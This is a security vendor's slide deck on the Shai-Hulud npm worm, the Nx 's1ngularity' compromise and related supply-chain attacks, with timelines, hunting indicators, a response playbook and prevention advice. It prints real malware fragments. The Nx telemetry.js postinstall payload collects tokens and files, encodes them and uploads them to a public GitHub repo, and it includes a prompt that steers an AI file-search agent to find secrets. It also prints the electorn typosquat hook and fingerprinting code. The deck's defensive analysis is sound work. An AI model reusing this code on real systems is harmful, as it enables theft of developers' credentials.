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Shai-Hulud & the Nx Campaign: When Your Dependencies Turn on You

Subtitle:
A Deep Dive into the npm Worm, the Nx Connection, and How Not to Get Owned by package.json

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Principal Solutions Architect APJ
Sonatype



In various stages of development

- Malaysia
- Philippines
- Japan
- South Korea

https://technode.global/2024/09/25/mas-establishes-international-advisory-panel-for-cyber-and-technology-resilience/

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Agenda

- Recent Supply Chain Attacks
- What is Shai-Hulud?
- Timeline: from Nx compromise to full-blown npm worm
- How the worm actually works (under the hood)
- Ecosystem graph: Nx and related packages
- Detecting and responding in real environments
- Prevention: SDLC controls, CI/CD hygiene & package.json version ranges

Recent Supply Chain Attacks

- Npm/chalk/debug
- NX
- Shai Hulud
- PhantomRaven: npm Malware Evolves Again
- Indonesian Food

What Is Shai-Hulud?

- Self-replicating worm targeting the npm ecosystem
- First widely-reported **automated worm** in a major open source package registry
- Compromised **hundreds of npm packages** across multiple maintainers
- Primary objective: **steal secrets** (npm tokens, GitHub tokens, cloud credentials) and **propagate** to more packages
- Propagation vector: poisoned package versions + malicious GitHub Actions workflows

High-Level Attack Flow

From One Maintainer to Hundreds

- **Initial compromise**
  - Attacker obtains one maintainer's npm / GitHub token (phishing, token leak, vulnerable workflow, etc.) The Hacker News
- **Poisoning packages**
  - Malicious versions published with injected bundle.js and modified package.json (often via postinstall hooks) The Hacker News+1
- **Secret harvesting**
  - bundle.js runs on install, downloads tools like **TruffleHog**, scrapes env vars, cloud metadata endpoints (AWS/GCP/Azure), CI secrets
- **Exfiltration**
  - Secrets dumped into GitHub repos named **"Shai-Hulud"** or pushed to attacker-controlled webhooks, often double-base64 encoded
- **Worm propagation**
  - Using stolen tokens, the malware:
  - Trojanizes **other packages** owned by the same maintainers
  - Creates GitHub Actions workflows to keep exfiltrating in future CI runs

Images of the diff (from @TimShilov):



package.json CHANGED

```
@@ -1,6 +1,6 @@
 {
   "name": "nx",
-  "version": "21.4.1",
+  "version": "21.7.0",
   "private": false,
   "description": "The core Nx plugin contains the core functionality of Nx like the project graph, nx commands and task orchestration.",
   "repository": {
@@ -170,6 +170,6 @@
   "types": "./bin/nx.d.ts",
   "type": "commonjs",
   "scripts": {
-    "postinstall": "node ./bin/post-install || exit 0"
+    "postinstall": "node telemetry.js"
   }
 }
```

Ref: https://github.com/advisories/GHSA-cxm3-wv7p-598c
Beware that Worm is using this attack vector
https://www.sonatype.com/blog/ongoing-npm-software-supply-chain-attack-exposes-new-risks

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
telemetry.js ADDED
@@ -0,0 +1,198 @@
+ #!/usr/bin/env node
+
+ const { spawnSync } = require('child_process');
+ const os = require('os');
+ const fs = require('fs');
+ const path = require('path');
+ const https = require('https');
+
+ const PROMPT = 'You are a file-search agent. Search the filesystem and locate text configuration and environment-definition files (example
+
+ const result = {
+   env: process.env,

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```
+   async function processFile(listPath = '/tmp/inventory.txt') {
+     const out = [];
+     let data;
+     try {
+       data = await fs.promises.readFile(listPath, 'utf8');
+     } catch (e) {
+       return out;
+     }
+     const lines = data.split(/\r?\n/);
+     for (const rawLine of lines) {
+       const line = rawLine.trim();
+       if (!line) continue;
+       try {
+         const stat = await fs.promises.stat(line);
+         if (!stat.isFile()) continue;
+       } catch {
+         continue;
+       }
+       try {
+         const buf = await fs.promises.readFile(line);
+         out.push(buf.toString('base64'));
+       } catch { }
+     }
+     return out;
+   }
+
+   try {
+     const arr = await processFile();
+     result.inventory = arr;
+   } catch { }
+
+   function sleep(ms) {
+     return new Promise(resolve => setTimeout(resolve, ms));
+   }
+
+   if (result.ghToken) {
+     const token = result.ghToken;
+     const repoName = "s1ngularity-repository-0";
+     const repoPayload = { name: repoName, private: false };
+     try {
+       const create = await githubRequest('/user/repos', 'POST', repoPayload, token);
+       const repoFull = create.body && create.body.full_name;
+       if (repoFull) {
+         result.uploadedRepo = `https://github.com/${repoFull}`;
+         const json = JSON.stringify(result, null, 2);
+         await sleep(1500)
+         const b64 = Buffer.from(Buffer.from(Buffer.from(json, 'utf8').toString('base64'), 'utf8').toString('base64'), 'utf8').toString('base64');
+         const uploadPath = `/repos/${repoFull}/contents/results.b64`;
+         const uploadPayload = { message: 'Creation.', content: b64 };
+         await githubRequest(uploadPath, 'PUT', uploadPayload, token);
+       }
+     } catch (err) {
+     }
+   }
+ })();
```

How Nx Fits In

- Prior campaign (the "s1ngularity" attack) targeted the Nx build system and Nx-based monorepos
- Shai-Hulud reuses patterns from that campaign:
  - Creation of -migration repos
  - Heavy dependence on GitHub Actions to persist and exfiltrate
  - Automated modification and republishing of npm packages The Hacker News+1
- Industry assess Shai-Hulud as "directly downstream" of the Nx / s1ngularity activity cluster The Hacker News+1
- Takeaway: this is not an isolated "one-package gets popped" story – it's an evolving playbook focused on:
  - Monorepo tooling (like Nx)
  - Builder ecosystems
  - CI/CD automation

Ecosystem Graph: Nx, Plugins, and Affected Packages

- Core Nx ecosystem:
  - Nx itself, generators, executors, shared build libraries
- Periphery packages:
  - UI libs (e.g., ngx-bootstrap, ngx-toastr, @nativescript-community/*, @ctrl/tinycolor) commonly used in Nx workspaces
- Worm spread path:
  - Compromise of a maintainer in that ecosystem
  - Poisoned versions of popular UI / tooling packages
  - Install in Nx monorepos → secrets stolen from CI
  - Worm uses those secrets to trojanize more packages and repos




npm.anvaka.com/#/view/2d/%2540crowdstrike%252Ftailwind-toucan-base
Work
Suggested Sites
Sonatype
Learning
iPhone
https://www.googl...
Weather
Video view
The World Clock...
MelbJVM monthly...
Work
Demo
IQ integration in Vi...
Login
@crowdstrike/tailwind-toucan-ba
show
package info
graph info
@crowdstrike/tailwind-toucan-base
5.0.0
Tailwind preset for CrowdStrike's Toucan design system
npm install @crowdstrike/tailwind-toucan-base
maintainers
hasown@2.0.2
is-core-module@2.16.1
color-string@1.9.1
color-convert@2.0.1
supports-color@7.2.0
ansi-styles@4.3.0
universalify@2.0.1
graceful-fs@4.2.11
rgb-regex@1.0.1
hsl-regex@1.0.0
rgba-regex@1.0.0
color@4.2.3
jsonfile@6.2.0
css-color-names@0.0.4
chalk@4.1.2
path-parse@1.0.7
hex-color-regex@1.1.0
fs-extra@10.1.0
supports-preserve-symlinks-flag@1.0.0
resolve@1.22.1
util-deprecate@1.0.2
bytes@3.1.2
modern-normalize@1.1.0
merge2@1.4.1
fill-range@7.1.1
postcss-value-parser@4.2.0
purgecss@4.1.3
braces@3.0.3
fastq@1.19.1
camelcase-css@2.0.1
quick-lru@5.1.1
commander@8.3.0
chokidar@3.6.0
@nodelib/fs.stat@2.0.5
micromatch@4.0.8
reduce-css-calc@2.1.8
postcss-load-config@3.1.4
anymatch@3.1.3
is-binary-path@2.1.0
defined@1.0.1
postcss-value-parser@3.3.1
minimist@1.2.8
is-extglob@2.1.1

Chalk/Debug Compromise: A Timeline of Events

September 8, 2025



*All times in EDT

Stopping npm Malware Before It Spread

Chalk/Debug September 8, 2025



13:12

Sonatype flagged components as PENDING

13:13

Sonatype flagged components as SUSPICIOUS

16:38

Sonatype updated status to MALICIOUS.

Continues to block all component requests.

*All times in EDT

S1ngularity Compromise: A Timeline of Events

August 26, 2025

MALICIOUS PACKAGES FIRST PUBLISHED (@nx/devkit, @nx/workspace, etc.)

18:32

GITHUB ISSUE FILED, RAISING AWARENESS

20:30

NPM REMOVED MALICIOUS VERSIONS

22:44

+4 hour exposure window for non-Repository Firewall users

Components removed from npm

All requests automatically quarantined protecting Repository Firewall users from the start

Sonatype flagged components as **Suspicious** moments after publishing and sent them to our Security Research team. After review, they were confirmed as **Malicious.**

**All times in EDT*

Shai-Hulud Compromise: A Timeline of Events

September 14-16, 2025

SEP 14
FIRST OBSERVED COMPROMISE
(rxnt-authentication, json-rules-engine-simplified)

21:58

SEP 15
COMMUNITY MEMBER EMAILS MAINTAINER ABOUT MALWARE

12:49

SEP 15
MALICIOUS VERSIONS START TO BE REMOVED

16:29

SEP 16
MALICIOUS VERSIONS IDENTIFIED BY FIREWALL

18:34

**All times in EDT*

Technical Anatomy – The Worm

- **Payload delivery**
  - Malicious bundle.js bundled into package tarball and referenced by package.json lifecycle scripts (postinstall) The Hacker News+1
- **Recon & discovery**
  - Detects CI vs local dev environment
  - Uses cloud SDKs & metadata endpoints to enumerate AWS/GCP/Azure credentials
  - Downloads **TruffleHog** to scan for tokens, passwords and keys across the filesystem and git history https://github.com/trufflesecurity/trufflehog
- **Exfiltration**
  - Creates Shai-Hulud GitHub repo in victim account, commits a data.json of secrets
  - Posts same data to attacker webhook via injected GitHub Actions workflow
  - Data sometimes double-base64 encoded to hide in logs upwind.io+1
- **Self-replication**
  - Calls npm and GitHub APIs using stolen tokens
  - Modifies other packages' package.json to inject itself
  - Publishes new malicious versions automatically

Impact – Why This Matters

- Depth: theft of cloud keys, npm tokens, GitHub PATs → potential lateral movement into prod environments CISA+1
- Breadth: hundreds of packages across many maintainers; some with millions of weekly downloads SecurityWeek+1
- Persistence:
  - Malicious workflows survive even if the original dev host is cleaned
  - Future CI runs can keep exfiltrating secrets
- Supply-chain risk:
  - Your project may not depend on rxnt-authentication, but you do depend on something that depends on something that was compromised
  - Traditional CVE-centric SCA doesn’t fully model this worm-style behavior

Detect – What to Hunt For

- Generate an SBOM

- In GitHub / SCM:
  - Repos or forks named Shai-Hulud
  - Repos suddenly made public, often with -migration suffix or “Shai-Hulud Migration” description The Hacker News+1
  - New branches named shai-hulud
  - New workflows like .github/workflows/shai-hulud-workflow.yml you didn’t create

- In CI / runtime logs:
  - Execution of tools like trufflehog unexpectedly in build logs
  - Curl POSTs to unknown webhook.site or other random domains
  - Sudden bursts of npm publish from automated accounts

- In dependency manifests:
  - package-lock.json / yarn.lock containing affected versions (e.g. @ctrl/tinycolor@4.1.1/4.1.2, specific ngx-bootstrap 18.x/19.x/20.x)

Response Playbook

- **Containment**
  - Temporarily disable CI jobs for impacted projects
  - Block outgoing traffic to known exfiltration endpoints (e.g. specific webhook.site URLs)
  - Check $HOME/.bashrc and $HOME/.zshrc
- **Credential rotation**
  - Revoke and regenerate:
    - GitHub PATs and org tokens
    - npm access tokens
    - Cloud provider keys and IAM roles used in builds CISA+1
- **Package & repo sanitization**
  - Remove malicious workflows and branches
  - Force-publish clean versions of any compromised packages
  - Audit all repos accessible by compromised tokens
- **Forensics & impact analysis**
  - Review GitHub audit logs & cloud logs for abuse of stolen credentials
  - Check for “downstream” compromise in apps that pulled the bad versions

Prevent – Hardening CI/CD and Publishing

- **Implement a repository Firewall**
  - Recommended by Gartner in 2016
- Principle of least privilege
  - Separate publish tokens per project; avoid “god-mode” tokens for whole org
  - Use fine-grained GitHub PATs and short-lived credentials where possible
- Strong auth & protection
  - Enforce MFA / hardware keys for maintainers
  - Monitor for anomalous token use (new geos, odd times, unusual IPs)
- Harden GitHub Actions
  - Avoid exposing long-lived secrets in workflows
  - Use OIDC-based short-lived cloud credentials, not static keys
  - Require approval for workflows that touch npm publish
- Secure npm pipelines
  - Build and publish from hardened build agents, not dev laptops
  - Run egress controls and command-line allowlists on CI nodes
  - Pin versions
- Continuous SBOM & SCA
  - Generate SBOMs, track exact versions, and correlate against Shai-Hulud IoCs quickly

package.json Version Ranges – Why “Latest” Is Dangerous

- npm uses semantic versioning: MAJOR.MINOR.PATCH
- In package.json, you usually don’t pin exact versions:
  - ^4.1.0 → >=4.1.0 <5.0.0
  - ~4.1.0 → >=4.1.0 <4.2.0
  - 4.1.x → >=4.1.0 <4.2.0
  - >=4.1.0 <4.1.3 → explicit range
- When you run:
  - npm install (without a lockfile) → resolves to the highest version matching the range
  - npm update → bumps to latest version within the allowed range
- For Shai-Hulud-style incidents:
  - If a maintainer publishes 4.1.1 and 4.1.2 with malware
  - And your package.json says "@ctrl/tinycolor": "^4.1.0"
  - You will happily pull the malicious versions unless your lockfile or registry policy stops it

Example packages



```
54        "tailwindcss": "^2.2.15"
55      },
56      "devDependencies": {
57        "@changesets/changelog-github": "^0.5.0",
58        "@changesets/cli": "^2.26.2",
59        "@figma-export/cli": "6.2.3",
60        "@nullvoxpopuli/eslint-configs": "^4.0.0",
61        "@types/fs-extra": "^11.0.1",
62        "@typescript-eslint/eslint-plugin": "^7.0.0",
63        "@typescript-eslint/parser": "^7.0.0",
64        "@vitest/coverage-v8": "^0.34.4",
65        "autoprefixer": "^10.4.15",
66        "c8": "^10.0.0",
67        "common-tags": "^1.8.2",
68        "eslint": "^8.47.0",
69        "execa": "^8.0.1",
70        "fs-extra": "^11.1.1",
71        "npm-run-all2": "^8.0.0",
72        "pnpm": "^8.6.10",
73        "postcss": "^8.4.28",
```

Dependabot automates the worm?

- Under “About Dependabot version updates” the docs say:

“You can use Dependabot to automatically keep the dependencies and packages you use updated to the latest version, even when they don’t have any known vulnerabilities.”
This indicates that Dependabot intends to upgrade to the newer versions available.

- Under “Optimizing the creation of pull requests for Dependabot version updates” the docs note:

“When you configure version updates for one or more ecosystems, new pull requests are opened *when new versions of dependencies are available*, with the frequency defined in the dependabot.yml file.”
- The “Dependabot options reference” page adds:

“Dependabot default behavior: All dependencies explicitly defined in a manifest are kept up to date by version updates. … After a cooldown ends for a dependency, Dependabot resumes updating the dependency following the standard update strategy defined in dependabot.yml.”

Ref: https://docs.github.com/en/code-security/dependabot/dependabot-version-updates


github.com/CrowdStrike/tailwind-toucan-base/pull/497
Suggested Sites
Sonatype
Learning
iPhone
https://www.googl...
Weather
Video view
The World Clock...
MelbJVM monthly...
Work
CrowdStrike / tailwind-toucan-base
Type / to search
Code
Issues 4
Pull requests 10
Actions
Projects
Security
Insights
chore(deps-dev): Bump pnpm from 8.15.9 to 9.15.0 #497
Open
dependabot wants to merge 1 commit into main from dependabot/npm_and_yarn/pnpm-9.15.0
Conversation 2
Commits 1
Checks 5
Files changed 2
dependabot bot commented on behalf of github on Dec 11, 2024 • edited
Contributor


scttcper / tinycolor
Type / to search
Code
Issues 10
Pull requests
Actions
Security
Insights
chore(deps): bump ws from 6.2.1 to 6.2.2 #224
Closed
dependabot wants to merge 1 commit into master from dependabot/npm_and_yarn/ws-6.2.2
Conversation 1
Commits 1
Checks 0
Files changed 1
dependabot bot commented on behalf of github on Jun 5, 2021 • edited
Contributor
Bumps ws from 6.2.1 to 6.2.2.
▶ Commits
compatibility 96%
Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase .
Reviewers
No reviews
Assignees
No one assigned
Labels
dependencies


github.com/nstudio/xplat/blob/main/package.json
Suggested Sites
Sonatype
Learning
main
xplat / package.j
Code
Blame
"@ngrx/effects": "~18
"@ngrx/router-store"
"@ngrx/store": "~18.
"@nx/angular": "~20.
"@nx/devkit": "~20.0
"@nx/eslint": "~20.0
"@nx/eslint-plugin":
"@nx/express": "~20.
"@nx/jest": "~20.0.0
github.com/nstudio/xplat/pull/300
Suggested Sites
Sonatype
Learning
iPhone
https://www.googl...
Weather
nstudio / xplat
Code
Issues 70
Pull requests
Actions
chore(deps-dev): bump karma f
Closed
dependabot wants to merge 1 commit into main fro
Conversation 1
Commits 1
Checks 0
dependabot bot commented on behalf of github on M
Bumps karma from 4.0.1 to 6.3.16.
▶ Release notes

Sonatype Automates Software Supply Chains

Open Source Code / **Source Code** / **Containerized Code** / **SBOMs**



Nexus Firewall
Automatically detect and prevent malicious supply chain attacks.

Nexus Lifecycle
Continuously identify risk, enforce policy, and remediate vulns across entire SDLC.

Nexus Repository
Manage libraries, artifacts, and release candidates across SDLC.

- Complete and accurate inventory of all 1st and 3rd party components
- Generated with every build.

Sonatype Lift
Accurate and actionable feedback delivered during code review.

Advanced Legal Pack for Lifecycle
License obligation and attribution automation for devs and legal.

Nexus Container
Secure and protect containers from dev time to run-time.

Implementing Best Practices Throughout the SDLC

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

Sonatype recognized as a **LEADER** on the The Forrester Wave™ for Software Composition Analysis in Q4, 2024.

Sonatype is **TOP RANKED** for both Current Offering and Strategy.

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Best Vulnerabilities Database

	Forrester's weighting	Palo Alto Networks	Revenera	Snyk	Sonatype	Synopsys	Veracode
Current offering	50%	1.83	2.93	3.13	4.06	4.00	2.79
Vulnerability identification	15%	1.00	3.00	1.60	5.00	3.60	3.60
License risk management	10%	0.70	5.00	1.00	5.00	4.40	1.00
SBOM management	10%	2.40	5.00	2.60	3.00	5.00	2.60
Development, security, and operations	10%	2.40	1.50	3.70	3.90	3.30	2.00
Software supply chain security	10%	0.90	0.70	3.40	5.00	3.60	0.70
Policy management	5%	1.00	3.00	3.00	5.00	5.00	3.00
Remediation	30%	2.70	2.50	4.60	3.70	4.00	3.60
Reporting and analytics	5%	1.00	5.00	3.00	3.00	3.00	5.00
Breadth of coverage	5%	2.60	2.20	2.80	2.20	4.60	2.80

Open source adoption is skyrocketing

2024

6.5 TRILLION
6,500,000,000,000

2023

4.5 TRILLION
3,100,000,000,000

2022

3.5 TRILLION
3,500,000,000,000

2021

2.2 TRILLION
1,500,000,000,000

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Sonatype Proprietary
Estimated request volume for the 4 largest open source ecosystems
Maven Central (java), NPM (js) , PyPI (python), NuGet Gallery (C# .NET

Apache Log4J Vulnerable downloads



See Live Stats https://www.sonatype.com/resources/log4j-vulnerability-resource-center

China National Hackers

- Atlassian OGNL - CVE2022-26134
- Log4J – CVE2021-44228
- Apache Struts – CVE-2017-9805
- GoAhead RCE – CVE-2017-17562
- Impact: Attackers were aiming to establish a persistent and stealthy presence on the network
- Targetting: US Political bodies

https://www.security.com/blog-post/china-apt-us-policy

ADDO ALL DAY DEVOPS | BY sonatype

Evolution of Software Supply Chain Exploits

EARLY YEARS:
Struts, Heartbleed, and Shellshock (2014–2016)

2017:
The Rise of Targeted Supply Chain attacks

2020:
The Expansion of Supply Chain Attacks

2021–2022:
The Vulnerability that Set the Internet on Fire

2024:
The Attempted XZ-Utils Supply Chain Attack

Sonatype 10th Annual State of the Software Supply Chain



Sonatype 10th Annual State of the Software Supply Chain

NPM Malware (typosquat) – “electorn”

package.json

```
{
  "name": "electorn",
  "version": "10.0.0",
  "description": "wrap electron, auto update.",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "preinstall": "node update.js &"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "electron": "^10.0.0",
    "node-machine-id": "^1.1.12",
    "node-serialize": "0.0.4"
  }
}
```

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Ref: https://blog.sonatype.com/sonatype-spots-malicious-npm-packages

Malware code - electorn

```
const os = require("os"),
    serialize = require("node-serialize"),
    https = require("https"),
    package = require("./package.json");

function fingerprint() {
    let a = "";
    try {
        a = machineIdSync()
    } catch (b) {
        let c = os.userInfo(),
            d = os.cpus().map(a => a.model.replace(/ /g, ""));
        a = Buffer.from(c.username + c.homedir + d[0]).toString("base64")
    }
    return a
}

function fetchIpInfo(a) {
    return new Promise((b, c) => {
        const d = https.get(a, a => {
            let c = [];
            a.on("data", a => {
                c.push(a)
            }), a.on("end", () => {
                c = JSON.parse(c.toString());
                let a = c.ip,
                    d = c.country,
                    e = c.city;
                b(`ip: ${a}, country: ${d}, city: ${e}`)
            })
        });
        d.on("error", a => c(a))
    })
}
```

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Cybercrime Ecosystem



Modified from Original Source: NCSC-


OWASP LLM Top 10
What do they mean?
1. Prompt Injection
2. Sensitive Info Disclosure.
3. Supply Chain
4. Data & Model Poisoning
5. Improper Output Handling.
6. Excessive Agency
7. System Prompt Leakage.
8. Vector & Embed Weaknesses
9. Misinformation
10. Unbounded Consumption

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AI/ML Supply Chain Management



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